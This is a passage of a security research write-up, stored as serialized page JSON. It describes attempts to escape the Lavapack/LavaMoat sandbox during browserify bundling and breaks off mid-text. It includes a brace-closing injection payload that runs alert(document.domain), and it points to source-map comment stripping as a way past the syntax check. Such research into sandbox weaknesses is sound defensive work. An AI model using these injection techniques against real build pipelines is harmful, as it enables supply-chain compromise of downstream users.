{\n",{"type":24,"tag":90,"props":49846,"children":49847},{"class":92,"line":384},[49848],{"type":24,"tag":90,"props":49849,"children":49850},{"style":1085},[49851],{"type":29,"value":49852}," 'use strict';\n",{"type":24,"tag":90,"props":49854,"children":49855},{"class":92,"line":420},[49856,49861,49865,49870],{"type":24,"tag":90,"props":49857,"children":49858},{"style":1085},[49859],{"type":29,"value":49860}," // source: ",{"type":24,"tag":90,"props":49862,"children":49863},{"style":97},[49864],{"type":29,"value":35923},{"type":24,"tag":90,"props":49866,"children":49867},{"style":136},[49868],{"type":29,"value":49869},"filename",{"type":24,"tag":90,"props":49871,"children":49872},{"style":97},[49873],{"type":29,"value":827},{"type":24,"tag":90,"props":49875,"children":49876},{"class":92,"line":428},[49877],{"type":24,"tag":90,"props":49878,"children":49879},{"style":1085},[49880],{"type":29,"value":49881}," return function (require, module, exports) {\n",{"type":24,"tag":90,"props":49883,"children":49884},{"class":92,"line":437},[49885],{"type":24,"tag":90,"props":49886,"children":49887},{"style":1085},[49888],{"type":29,"value":49889}," __MODULE_CONTENT__\n",{"type":24,"tag":90,"props":49891,"children":49892},{"class":92,"line":574},[49893],{"type":24,"tag":90,"props":49894,"children":49895},{"style":1085},[49896],{"type":29,"value":49897}," };\n",{"type":24,"tag":90,"props":49899,"children":49900},{"class":92,"line":606},[49901],{"type":24,"tag":90,"props":49902,"children":49903},{"style":1085},[49904],{"type":29,"value":11078},{"type":24,"tag":90,"props":49906,"children":49907},{"class":92,"line":615},[49908],{"type":24,"tag":90,"props":49909,"children":49910},{"style":1085},[49911],{"type":29,"value":5740},{"type":24,"tag":90,"props":49913,"children":49914},{"class":92,"line":623},[49915],{"type":24,"tag":90,"props":49916,"children":49917},{"style":1085},[49918],{"type":29,"value":15030},{"type":24,"tag":90,"props":49920,"children":49921},{"class":92,"line":632},[49922],{"type":24,"tag":90,"props":49923,"children":49924},{"style":1085},[49925],{"type":29,"value":49926}," }`\n",{"type":24,"tag":25,"props":49928,"children":49929},{},[49930,49932,49938,49940,49946],{"type":29,"value":49931},"Lavapack uses ",{"type":24,"tag":32,"props":49933,"children":49935},{"className":49934},[],[49936],{"type":29,"value":49937},"with()",{"type":29,"value":49939}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":32,"props":49941,"children":49943},{"className":49942},[],[49944],{"type":29,"value":49945},"__MODULE_CONTENT__",{"type":29,"value":49947}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":1019,"props":49949,"children":49951},{"id":49950},"injection-not-so-simple",[49952],{"type":29,"value":49953},"Injection? Not So Simple",{"type":24,"tag":25,"props":49955,"children":49956},{},[49957,49959,49964],{"type":29,"value":49958},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":32,"props":49960,"children":49962},{"className":49961},[],[49963],{"type":29,"value":15017},{"type":29,"value":49965}," environment:",{"type":24,"tag":80,"props":49967,"children":49969},{"className":33176,"code":49968,"language":33178,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[49970],{"type":24,"tag":32,"props":49971,"children":49972},{"__ignoreMap":7},[49973,49986,49998,50010,50022,50029],{"type":24,"tag":90,"props":49974,"children":49975},{"class":92,"line":93},[49976,49981],{"type":24,"tag":90,"props":49977,"children":49978},{"style":114},[49979],{"type":29,"value":49980}," } ",{"type":24,"tag":90,"props":49982,"children":49983},{"style":252},[49984],{"type":29,"value":49985},"// end function 1\n",{"type":24,"tag":90,"props":49987,"children":49988},{"class":92,"line":200},[49989,49993],{"type":24,"tag":90,"props":49990,"children":49991},{"style":114},[49992],{"type":29,"value":33281},{"type":24,"tag":90,"props":49994,"children":49995},{"style":252},[49996],{"type":29,"value":49997},"// end function 2\n",{"type":24,"tag":90,"props":49999,"children":50000},{"class":92,"line":239},[50001,50005],{"type":24,"tag":90,"props":50002,"children":50003},{"style":114},[50004],{"type":29,"value":38018},{"type":24,"tag":90,"props":50006,"children":50007},{"style":252},[50008],{"type":29,"value":50009},"// end with 1\n",{"type":24,"tag":90,"props":50011,"children":50012},{"class":92,"line":248},[50013,50017],{"type":24,"tag":90,"props":50014,"children":50015},{"style":114},[50016],{"type":29,"value":48696},{"type":24,"tag":90,"props":50018,"children":50019},{"style":252},[50020],{"type":29,"value":50021},"// end with 2\n",{"type":24,"tag":90,"props":50023,"children":50024},{"class":92,"line":258},[50025],{"type":24,"tag":90,"props":50026,"children":50027},{"emptyLinePlaceholder":16},[50028],{"type":29,"value":245},{"type":24,"tag":90,"props":50030,"children":50031},{"class":92,"line":272},[50032,50036,50040,50044,50048,50052],{"type":24,"tag":90,"props":50033,"children":50034},{"style":108},[50035],{"type":29,"value":34511},{"type":24,"tag":90,"props":50037,"children":50038},{"style":114},[50039],{"type":29,"value":117},{"type":24,"tag":90,"props":50041,"children":50042},{"style":136},[50043],{"type":29,"value":34521},{"type":24,"tag":90,"props":50045,"children":50046},{"style":114},[50047],{"type":29,"value":226},{"type":24,"tag":90,"props":50049,"children":50050},{"style":136},[50051],{"type":29,"value":34531},{"type":24,"tag":90,"props":50053,"children":50054},{"style":114},[50055],{"type":29,"value":1686},{"type":24,"tag":25,"props":50057,"children":50058},{},[50059,50061,50067,50069,50076],{"type":29,"value":50060},"However, when we tried to bundle it, a ",{"type":24,"tag":32,"props":50062,"children":50064},{"className":50063},[],[50065],{"type":29,"value":50066},"ParseError",{"type":29,"value":50068}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":69,"props":50070,"children":50073},{"href":50071,"rel":50072},"https://github.com/browserify/browserify",[73],[50074],{"type":29,"value":50075},"browserify",{"type":29,"value":50077},", which has a syntax check before replacing the code.",{"type":24,"tag":25,"props":50079,"children":50080},{},[50081,50083,50089,50091,50097,50099,50105,50107,50112],{"type":29,"value":50082},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":32,"props":50084,"children":50086},{"className":50085},[],[50087],{"type":29,"value":50088},"syntax",{"type":29,"value":50090}," stage on it's pipeline, and uses the ",{"type":24,"tag":32,"props":50092,"children":50094},{"className":50093},[],[50095],{"type":29,"value":50096},"syntax-error",{"type":29,"value":50098}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":32,"props":50100,"children":50102},{"className":50101},[],[50103],{"type":29,"value":50104},"pack",{"type":29,"value":50106}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":32,"props":50108,"children":50110},{"className":50109},[],[50111],{"type":29,"value":50088},{"type":29,"value":50113},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":25,"props":50115,"children":50116},{},[50117],{"type":24,"tag":6301,"props":50118,"children":50121},{"alt":50119,"src":50120},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":25,"props":50123,"children":50124},{},[50125,50126,50131,50133,50138],{"type":29,"value":3131},{"type":24,"tag":32,"props":50127,"children":50129},{"className":50128},[],[50130],{"type":29,"value":50096},{"type":29,"value":50132}," package performs a syntax check by using ",{"type":24,"tag":32,"props":50134,"children":50136},{"className":50135},[],[50137],{"type":29,"value":39364},{"type":29,"value":50139}," with function hoisting:",{"type":24,"tag":80,"props":50141,"children":50143},{"className":33176,"code":50142,"language":33178,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[50144],{"type":24,"tag":32,"props":50145,"children":50146},{"__ignoreMap":7},[50147,50159,50209,50220,50227,50248,50289,50349,50390],{"type":24,"tag":90,"props":50148,"children":50149},{"class":92,"line":93},[50150,50155],{"type":24,"tag":90,"props":50151,"children":50152},{"style":636},[50153],{"type":29,"value":50154},"try",{"type":24,"tag":90,"props":50156,"children":50157},{"style":114},[50158],{"type":29,"value":269},{"type":24,"tag":90,"props":50160,"children":50161},{"class":92,"line":200},[50162,50167,50171,50176,50180,50185,50189,50194,50200,50205],{"type":24,"tag":90,"props":50163,"children":50164},{"style":108},[50165],{"type":29,"value":50166}," eval",{"type":24,"tag":90,"props":50168,"children":50169},{"style":114},[50170],{"type":29,"value":117},{"type":24,"tag":90,"props":50172,"children":50173},{"style":1085},[50174],{"type":29,"value":50175},"'throw \"STOP\"; (function () { '",{"type":24,"tag":90,"props":50177,"children":50178},{"style":120},[50179],{"type":29,"value":1714},{"type":24,"tag":90,"props":50181,"children":50182},{"style":136},[50183],{"type":29,"value":50184}," src",{"type":24,"tag":90,"props":50186,"children":50187},{"style":120},[50188],{"type":29,"value":1714},{"type":24,"tag":90,"props":50190,"children":50191},{"style":1085},[50192],{"type":29,"value":50193}," '",{"type":24,"tag":90,"props":50195,"children":50197},{"style":50196},"--shiki-default:#D7BA7D",[50198],{"type":29,"value":50199},"\\n",{"type":24,"tag":90,"props":50201,"children":50202},{"style":1085},[50203],{"type":29,"value":50204},"})()'",{"type":24,"tag":90,"props":50206,"children":50207},{"style":114},[50208],{"type":29,"value":571},{"type":24,"tag":90,"props":50210,"children":50211},{"class":92,"line":239},[50212,50216],{"type":24,"tag":90,"props":50213,"children":50214},{"style":636},[50215],{"type":29,"value":3510},{"type":24,"tag":90,"props":50217,"children":50218},{"style":114},[50219],{"type":29,"value":381},{"type":24,"tag":90,"props":50221,"children":50222},{"class":92,"line":248},[50223],{"type":24,"tag":90,"props":50224,"children":50225},{"style":114},[50226],{"type":29,"value":827},{"type":24,"tag":90,"props":50228,"children":50229},{"class":92,"line":258},[50230,50235,50239,50244],{"type":24,"tag":90,"props":50231,"children":50232},{"style":636},[50233],{"type":29,"value":50234},"catch",{"type":24,"tag":90,"props":50236,"children":50237},{"style":114},[50238],{"type":29,"value":1151},{"type":24,"tag":90,"props":50240,"children":50241},{"style":136},[50242],{"type":29,"value":50243},"err",{"type":24,"tag":90,"props":50245,"children":50246},{"style":114},[50247],{"type":29,"value":1297},{"type":24,"tag":90,"props":50249,"children":50250},{"class":92,"line":272},[50251,50255,50259,50263,50267,50272,50276,50281,50285],{"type":24,"tag":90,"props":50252,"children":50253},{"style":636},[50254],{"type":29,"value":639},{"type":24,"tag":90,"props":50256,"children":50257},{"style":114},[50258],{"type":29,"value":1151},{"type":24,"tag":90,"props":50260,"children":50261},{"style":136},[50262],{"type":29,"value":50243},{"type":24,"tag":90,"props":50264,"children":50265},{"style":120},[50266],{"type":29,"value":33235},{"type":24,"tag":90,"props":50268,"children":50269},{"style":1085},[50270],{"type":29,"value":50271}," 'STOP'",{"type":24,"tag":90,"props":50273,"children":50274},{"style":114},[50275],{"type":29,"value":172},{"type":24,"tag":90,"props":50277,"children":50278},{"style":636},[50279],{"type":29,"value":50280},"return",{"type":24,"tag":90,"props":50282,"children":50283},{"style":97},[50284],{"type":29,"value":41154},{"type":24,"tag":90,"props":50286,"children":50287},{"style":114},[50288],{"type":29,"value":381},{"type":24,"tag":90,"props":50290,"children":50291},{"class":92,"line":281},[50292,50296,50300,50304,50308,50313,50317,50322,50327,50332,50336,50340,50345],{"type":24,"tag":90,"props":50293,"children":50294},{"style":636},[50295],{"type":29,"value":639},{"type":24,"tag":90,"props":50297,"children":50298},{"style":114},[50299],{"type":29,"value":1151},{"type":24,"tag":90,"props":50301,"children":50302},{"style":136},[50303],{"type":29,"value":50243},{"type":24,"tag":90,"props":50305,"children":50306},{"style":114},[50307],{"type":29,"value":226},{"type":24,"tag":90,"props":50309,"children":50310},{"style":136},[50311],{"type":29,"value":50312},"constructor",{"type":24,"tag":90,"props":50314,"children":50315},{"style":114},[50316],{"type":29,"value":226},{"type":24,"tag":90,"props":50318,"children":50319},{"style":136},[50320],{"type":29,"value":50321},"name",{"type":24,"tag":90,"props":50323,"children":50324},{"style":120},[50325],{"type":29,"value":50326}," !==",{"type":24,"tag":90,"props":50328,"children":50329},{"style":1085},[50330],{"type":29,"value":50331}," 'SyntaxError'",{"type":24,"tag":90,"props":50333,"children":50334},{"style":114},[50335],{"type":29,"value":172},{"type":24,"tag":90,"props":50337,"children":50338},{"style":636},[50339],{"type":29,"value":50280},{"type":24,"tag":90,"props":50341,"children":50342},{"style":136},[50343],{"type":29,"value":50344}," err",{"type":24,"tag":90,"props":50346,"children":50347},{"style":114},[50348],{"type":29,"value":381},{"type":24,"tag":90,"props":50350,"children":50351},{"class":92,"line":384},[50352,50356,50361,50365,50369,50373,50377,50381,50386],{"type":24,"tag":90,"props":50353,"children":50354},{"style":636},[50355],{"type":29,"value":3510},{"type":24,"tag":90,"props":50357,"children":50358},{"style":108},[50359],{"type":29,"value":50360}," errorInfo",{"type":24,"tag":90,"props":50362,"children":50363},{"style":114},[50364],{"type":29,"value":117},{"type":24,"tag":90,"props":50366,"children":50367},{"style":136},[50368],{"type":29,"value":34483},{"type":24,"tag":90,"props":50370,"children":50371},{"style":114},[50372],{"type":29,"value":133},{"type":24,"tag":90,"props":50374,"children":50375},{"style":136},[50376],{"type":29,"value":49767},{"type":24,"tag":90,"props":50378,"children":50379},{"style":114},[50380],{"type":29,"value":133},{"type":24,"tag":90,"props":50382,"children":50383},{"style":136},[50384],{"type":29,"value":50385},"opts",{"type":24,"tag":90,"props":50387,"children":50388},{"style":114},[50389],{"type":29,"value":571},{"type":24,"tag":90,"props":50391,"children":50392},{"class":92,"line":420},[50393],{"type":24,"tag":90,"props":50394,"children":50395},{"style":114},[50396],{"type":29,"value":827},{"type":24,"tag":25,"props":50398,"children":50399},{},[50400,50402,50406,50408,50414,50416,50421],{"type":29,"value":50401},"Interestingly, it ",{"type":24,"tag":842,"props":50403,"children":50404},{},[50405],{"type":29,"value":6359},{"type":29,"value":50407}," possible to inject a ",{"type":24,"tag":32,"props":50409,"children":50411},{"className":50410},[],[50412],{"type":29,"value":50413},"}); (() => {",{"type":29,"value":50415}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":32,"props":50417,"children":50419},{"className":50418},[],[50420],{"type":29,"value":49937},{"type":29,"value":50422}," sandbox of Lavapack.",{"type":24,"tag":1019,"props":50424,"children":50426},{"id":50425},"sourcemap-the-syntax-killer",[50427],{"type":29,"value":50428},"SourceMap: The Syntax Killer",{"type":24,"tag":25,"props":50430,"children":50431},{},[50432,50434,50441],{"type":29,"value":50433},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":69,"props":50435,"children":50438},{"href":50436,"rel":50437},"https://www.npmjs.com/package/convert-source-map",[73],[50439],{"type":29,"value":50440},"convert-source-map",{"type":29,"value":50442}," npm package:",{"type":24,"tag":80,"props":50444,"children":50446},{"className":33176,"code":50445,"language":33178,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[50447],{"type":24,"tag":32,"props":50448,"children":50449},{"__ignoreMap":7},[50450,50474,50516,50524,50565,50606,50634],{"type":24,"tag":90,"props":50451,"children":50452},{"class":92,"line":93},[50453,50457,50462,50466,50470],{"type":24,"tag":90,"props":50454,"children":50455},{"style":97},[50456],{"type":29,"value":33190},{"type":24,"tag":90,"props":50458,"children":50459},{"style":108},[50460],{"type":29,"value":50461}," extractSourceMaps",{"type":24,"tag":90,"props":50463,"children":50464},{"style":114},[50465],{"type":29,"value":117},{"type":24,"tag":90,"props":50467,"children":50468},{"style":136},[50469],{"type":29,"value":39830},{"type":24,"tag":90,"props":50471,"children":50472},{"style":114},[50473],{"type":29,"value":1297},{"type":24,"tag":90,"props":50475,"children":50476},{"class":92,"line":200},[50477,50481,50486,50490,50495,50499,50504,50508,50512],{"type":24,"tag":90,"props":50478,"children":50479},{"style":97},[50480],{"type":29,"value":38004},{"type":24,"tag":90,"props":50482,"children":50483},{"style":136},[50484],{"type":29,"value":50485}," converter",{"type":24,"tag":90,"props":50487,"children":50488},{"style":120},[50489],{"type":29,"value":216},{"type":24,"tag":90,"props":50491,"children":50492},{"style":136},[50493],{"type":29,"value":50494}," convertSourceMap",{"type":24,"tag":90,"props":50496,"children":50497},{"style":114},[50498],{"type":29,"value":226},{"type":24,"tag":90,"props":50500,"children":50501},{"style":108},[50502],{"type":29,"value":50503},"fromSource",{"type":24,"tag":90,"props":50505,"children":50506},{"style":114},[50507],{"type":29,"value":117},{"type":24,"tag":90,"props":50509,"children":50510},{"style":136},[50511],{"type":29,"value":39830},{"type":24,"tag":90,"props":50513,"children":50514},{"style":114},[50515],{"type":29,"value":1686},{"type":24,"tag":90,"props":50517,"children":50518},{"class":92,"line":239},[50519],{"type":24,"tag":90,"props":50520,"children":50521},{"style":252},[50522],{"type":29,"value":50523}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":90,"props":50525,"children":50526},{"class":92,"line":248},[50527,50531,50536,50540,50544,50548,50552,50556,50561],{"type":24,"tag":90,"props":50528,"children":50529},{"style":97},[50530],{"type":29,"value":38004},{"type":24,"tag":90,"props":50532,"children":50533},{"style":136},[50534],{"type":29,"value":50535}," maps",{"type":24,"tag":90,"props":50537,"children":50538},{"style":120},[50539],{"type":29,"value":216},{"type":24,"tag":90,"props":50541,"children":50542},{"style":136},[50543],{"type":29,"value":50485},{"type":24,"tag":90,"props":50545,"children":50546},{"style":120},[50547],{"type":29,"value":649},{"type":24,"tag":90,"props":50549,"children":50550},{"style":136},[50551],{"type":29,"value":50485},{"type":24,"tag":90,"props":50553,"children":50554},{"style":114},[50555],{"type":29,"value":226},{"type":24,"tag":90,"props":50557,"children":50558},{"style":108},[50559],{"type":29,"value":50560},"toObject",{"type":24,"tag":90,"props":50562,"children":50563},{"style":114},[50564],{"type":29,"value":2121},{"type":24,"tag":90,"props":50566,"children":50567},{"class":92,"line":258},[50568,50572,50577,50581,50585,50589,50594,50598,50602],{"type":24,"tag":90,"props":50569,"children":50570},{"style":97},[50571],{"type":29,"value":38004},{"type":24,"tag":90,"props":50573,"children":50574},{"style":136},[50575],{"type":29,"value":50576}," code",{"type":24,"tag":90,"props":50578,"children":50579},{"style":120},[50580],{"type":29,"value":216},{"type":24,"tag":90,"props":50582,"children":50583},{"style":136},[50584],{"type":29,"value":50494},{"type":24,"tag":90,"props":50586,"children":50587},{"style":114},[50588],{"type":29,"value":226},{"type":24,"tag":90,"props":50590,"children":50591},{"style":108},[50592],{"type":29,"value":50593},"removeComments",{"type":24,"tag":90,"props":50595,"children":50596},{"style":114},[50597],{"type":29,"value":117},{"type":24,"tag":90,"props":50599,"children":50600},{"style":136},[50601],{"type":29,"value":39830},{"type":24,"tag":90,"props":50603,"children":50604},{"style":114},[50605],{"type":29,"value":1686},{"type":24,"tag":90,"props":50607,"children":50608},{"class":92,"line":272},[50609,50613,50617,50621,50625,50630],{"type":24,"tag":90,"props":50610,"children":50611},{"style":636},[50612],{"type":29,"value":41015},{"type":24,"tag":90,"props":50614,"children":50615},{"style":114},[50616],{"type":29,"value":1196},{"type":24,"tag":90,"props":50618,"children":50619},{"style":136},[50620],{"type":29,"value":32},{"type":24,"tag":90,"props":50622,"children":50623},{"style":114},[50624],{"type":29,"value":133},{"type":24,"tag":90,"props":50626,"children":50627},{"style":136},[50628],{"type":29,"value":50629},"maps",{"type":24,"tag":90,"props":50631,"children":50632},{"style":114},[50633],{"type":29,"value":11967},{"type":24,"tag":90,"props":50635,"children":50636},{"class":92,"line":281},[50637],{"type":24,"tag":90,"props":50638,"children":50639},{"style":114},[50640],{"type":29,"value":827},{"type":24,"tag":25,"props":50642,"children":50643},{},[50644,50646,50651,50653,50658],{"type":29,"value":50645},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":32,"props":50647,"children":50649},{"className":50648},[],[50650],{"type":29,"value":50088},{"type":29,"value":50652}," stage. Reviewing the ",{"type":24,"tag":32,"props":50654,"children":50656},{"className":50655},[],[50657],{"type":29,"value":50440},{"type":29,"value":50659}," code, we can see exactly how this happens.",{"type":24,"tag":80,"props":50661,"children":50663},{"className":33176,"code":50662,"language":33178,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[50664],{"type":24,"tag":32,"props":50665,"children":50666},{"__ignoreMap":7},[50667,50706,50732,50740,50954,50961,50968,50975,51010,51060],{"type":24,"tag":90,"props":50668,"children":50669},{"class":92,"line":93},[50670,50675,50679,50684,50688,50692,50696,50701],{"type":24,"tag":90,"props":50671,"children":50672},{"style":136},[50673],{"type":29,"value":50674},"Object",{"type":24,"tag":90,"props":50676,"children":50677},{"style":114},[50678],{"type":29,"value":226},{"type":24,"tag":90,"props":50680,"children":50681},{"style":108},[50682],{"type":29,"value":50683},"defineProperty",{"type":24,"tag":90,"props":50685,"children":50686},{"style":114},[50687],{"type":29,"value":117},{"type":24,"tag":90,"props":50689,"children":50690},{"style":146},[50691],{"type":29,"value":39702},{"type":24,"tag":90,"props":50693,"children":50694},{"style":114},[50695],{"type":29,"value":133},{"type":24,"tag":90,"props":50697,"children":50698},{"style":1085},[50699],{"type":29,"value":50700},"'commentRegex'",{"type":24,"tag":90,"props":50702,"children":50703},{"style":114},[50704],{"type":29,"value":50705},", {\n",{"type":24,"tag":90,"props":50707,"children":50708},{"class":92,"line":200},[50709,50714,50718,50722,50727],{"type":24,"tag":90,"props":50710,"children":50711},{"style":108},[50712],{"type":29,"value":50713}," get",{"type":24,"tag":90,"props":50715,"children":50716},{"style":136},[50717],{"type":29,"value":78},{"type":24,"tag":90,"props":50719,"children":50720},{"style":97},[50721],{"type":29,"value":40030},{"type":24,"tag":90,"props":50723,"children":50724},{"style":108},[50725],{"type":29,"value":50726}," getCommentRegex",{"type":24,"tag":90,"props":50728,"children":50729},{"style":114},[50730],{"type":29,"value":50731}," () {\n",{"type":24,"tag":90,"props":50733,"children":50734},{"class":92,"line":239},[50735],{"type":24,"tag":90,"props":50736,"children":50737},{"style":252},[50738],{"type":29,"value":50739}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":90,"props":50741,"children":50742},{"class":92,"line":248},[50743,50747,50753,50758,50763,50768,50772,50777,50782,50787,50791,50795,50800,50805,50810,50815,50819,50823,50827,50832,50836,50841,50846,50851,50856,50860,50864,50868,50872,50876,50880,50884,50888,50893,50898,50902,50907,50912,50916,50920,50924,50928,50933,50937,50941,50945,50950],{"type":24,"tag":90,"props":50744,"children":50745},{"style":636},[50746],{"type":29,"value":3510},{"type":24,"tag":90,"props":50748,"children":50750},{"style":50749},"--shiki-default:#D16969",[50751],{"type":29,"value":50752}," /",{"type":24,"tag":90,"props":50754,"children":50755},{"style":108},[50756],{"type":29,"value":50757},"^",{"type":24,"tag":90,"props":50759,"children":50760},{"style":50749},[50761],{"type":29,"value":50762},"\\s",{"type":24,"tag":90,"props":50764,"children":50765},{"style":50196},[50766],{"type":29,"value":50767},"*?\\/",{"type":24,"tag":90,"props":50769,"children":50770},{"style":1085},[50771],{"type":29,"value":719},{"type":24,"tag":90,"props":50773,"children":50774},{"style":50196},[50775],{"type":29,"value":50776},"\\/\\*",{"type":24,"tag":90,"props":50778,"children":50779},{"style":1085},[50780],{"type":29,"value":50781},"][",{"type":24,"tag":90,"props":50783,"children":50784},{"style":50749},[50785],{"type":29,"value":50786},"@#",{"type":24,"tag":90,"props":50788,"children":50789},{"style":1085},[50790],{"type":29,"value":1914},{"type":24,"tag":90,"props":50792,"children":50793},{"style":50749},[50794],{"type":29,"value":50762},{"type":24,"tag":90,"props":50796,"children":50797},{"style":50196},[50798],{"type":29,"value":50799},"+?",{"type":24,"tag":90,"props":50801,"children":50802},{"style":50749},[50803],{"type":29,"value":50804},"sourceMappingURL=data:",{"type":24,"tag":90,"props":50806,"children":50807},{"style":1085},[50808],{"type":29,"value":50809},"(((?:",{"type":24,"tag":90,"props":50811,"children":50812},{"style":50749},[50813],{"type":29,"value":50814},"application",{"type":24,"tag":90,"props":50816,"children":50817},{"style":108},[50818],{"type":29,"value":12784},{"type":24,"tag":90,"props":50820,"children":50821},{"style":50749},[50822],{"type":29,"value":29},{"type":24,"tag":90,"props":50824,"children":50825},{"style":1085},[50826],{"type":29,"value":517},{"type":24,"tag":90,"props":50828,"children":50829},{"style":50196},[50830],{"type":29,"value":50831},"\\/",{"type":24,"tag":90,"props":50833,"children":50834},{"style":50749},[50835],{"type":29,"value":35812},{"type":24,"tag":90,"props":50837,"children":50838},{"style":1085},[50839],{"type":29,"value":50840},")(?:",{"type":24,"tag":90,"props":50842,"children":50843},{"style":50749},[50844],{"type":29,"value":50845},";charset=",{"type":24,"tag":90,"props":50847,"children":50848},{"style":1085},[50849],{"type":29,"value":50850},"([^",{"type":24,"tag":90,"props":50852,"children":50853},{"style":50749},[50854],{"type":29,"value":50855},";,",{"type":24,"tag":90,"props":50857,"children":50858},{"style":1085},[50859],{"type":29,"value":1914},{"type":24,"tag":90,"props":50861,"children":50862},{"style":50196},[50863],{"type":29,"value":50799},{"type":24,"tag":90,"props":50865,"children":50866},{"style":1085},[50867],{"type":29,"value":517},{"type":24,"tag":90,"props":50869,"children":50870},{"style":50196},[50871],{"type":29,"value":714},{"type":24,"tag":90,"props":50873,"children":50874},{"style":1085},[50875],{"type":29,"value":517},{"type":24,"tag":90,"props":50877,"children":50878},{"style":50196},[50879],{"type":29,"value":714},{"type":24,"tag":90,"props":50881,"children":50882},{"style":1085},[50883],{"type":29,"value":517},{"type":24,"tag":90,"props":50885,"children":50886},{"style":50196},[50887],{"type":29,"value":714},{"type":24,"tag":90,"props":50889,"children":50890},{"style":1085},[50891],{"type":29,"value":50892},"(?:",{"type":24,"tag":90,"props":50894,"children":50895},{"style":50749},[50896],{"type":29,"value":50897},";",{"type":24,"tag":90,"props":50899,"children":50900},{"style":1085},[50901],{"type":29,"value":117},{"type":24,"tag":90,"props":50903,"children":50904},{"style":50749},[50905],{"type":29,"value":50906},"base64",{"type":24,"tag":90,"props":50908,"children":50909},{"style":1085},[50910],{"type":29,"value":50911},"))",{"type":24,"tag":90,"props":50913,"children":50914},{"style":50196},[50915],{"type":29,"value":714},{"type":24,"tag":90,"props":50917,"children":50918},{"style":50749},[50919],{"type":29,"value":6510},{"type":24,"tag":90,"props":50921,"children":50922},{"style":1085},[50923],{"type":29,"value":117},{"type":24,"tag":90,"props":50925,"children":50926},{"style":50749},[50927],{"type":29,"value":226},{"type":24,"tag":90,"props":50929,"children":50930},{"style":50196},[50931],{"type":29,"value":50932},"*?",{"type":24,"tag":90,"props":50934,"children":50935},{"style":1085},[50936],{"type":29,"value":517},{"type":24,"tag":90,"props":50938,"children":50939},{"style":108},[50940],{"type":29,"value":1201},{"type":24,"tag":90,"props":50942,"children":50943},{"style":50749},[50944],{"type":29,"value":6966},{"type":24,"tag":90,"props":50946,"children":50947},{"style":97},[50948],{"type":29,"value":50949},"mg",{"type":24,"tag":90,"props":50951,"children":50952},{"style":114},[50953],{"type":29,"value":381},{"type":24,"tag":90,"props":50955,"children":50956},{"class":92,"line":258},[50957],{"type":24,"tag":90,"props":50958,"children":50959},{"style":114},[50960],{"type":29,"value":8257},{"type":24,"tag":90,"props":50962,"children":50963},{"class":92,"line":272},[50964],{"type":24,"tag":90,"props":50965,"children":50966},{"style":114},[50967],{"type":29,"value":37153},{"type":24,"tag":90,"props":50969,"children":50970},{"class":92,"line":281},[50971],{"type":24,"tag":90,"props":50972,"children":50973},{"emptyLinePlaceholder":16},[50974],{"type":29,"value":245},{"type":24,"tag":90,"props":50976,"children":50977},{"class":92,"line":384},[50978,50982,50986,50990,50994,50998,51002,51006],{"type":24,"tag":90,"props":50979,"children":50980},{"style":146},[50981],{"type":29,"value":39702},{"type":24,"tag":90,"props":50983,"children":50984},{"style":114},[50985],{"type":29,"value":226},{"type":24,"tag":90,"props":50987,"children":50988},{"style":108},[50989],{"type":29,"value":50593},{"type":24,"tag":90,"props":50991,"children":50992},{"style":120},[50993],{"type":29,"value":216},{"type":24,"tag":90,"props":50995,"children":50996},{"style":97},[50997],{"type":29,"value":40030},{"type":24,"tag":90,"props":50999,"children":51000},{"style":114},[51001],{"type":29,"value":1151},{"type":24,"tag":90,"props":51003,"children":51004},{"style":136},[51005],{"type":29,"value":34483},{"type":24,"tag":90,"props":51007,"children":51008},{"style":114},[51009],{"type":29,"value":1297},{"type":24,"tag":90,"props":51011,"children":51012},{"class":92,"line":420},[51013,51017,51021,51025,51030,51034,51038,51042,51047,51051,51056],{"type":24,"tag":90,"props":51014,"children":51015},{"style":636},[51016],{"type":29,"value":41015},{"type":24,"tag":90,"props":51018,"children":51019},{"style":136},[51020],{"type":29,"value":50184},{"type":24,"tag":90,"props":51022,"children":51023},{"style":114},[51024],{"type":29,"value":226},{"type":24,"tag":90,"props":51026,"children":51027},{"style":108},[51028],{"type":29,"value":51029},"replace",{"type":24,"tag":90,"props":51031,"children":51032},{"style":114},[51033],{"type":29,"value":117},{"type":24,"tag":90,"props":51035,"children":51036},{"style":146},[51037],{"type":29,"value":39702},{"type":24,"tag":90,"props":51039,"children":51040},{"style":114},[51041],{"type":29,"value":226},{"type":24,"tag":90,"props":51043,"children":51044},{"style":136},[51045],{"type":29,"value":51046},"commentRegex",{"type":24,"tag":90,"props":51048,"children":51049},{"style":114},[51050],{"type":29,"value":133},{"type":24,"tag":90,"p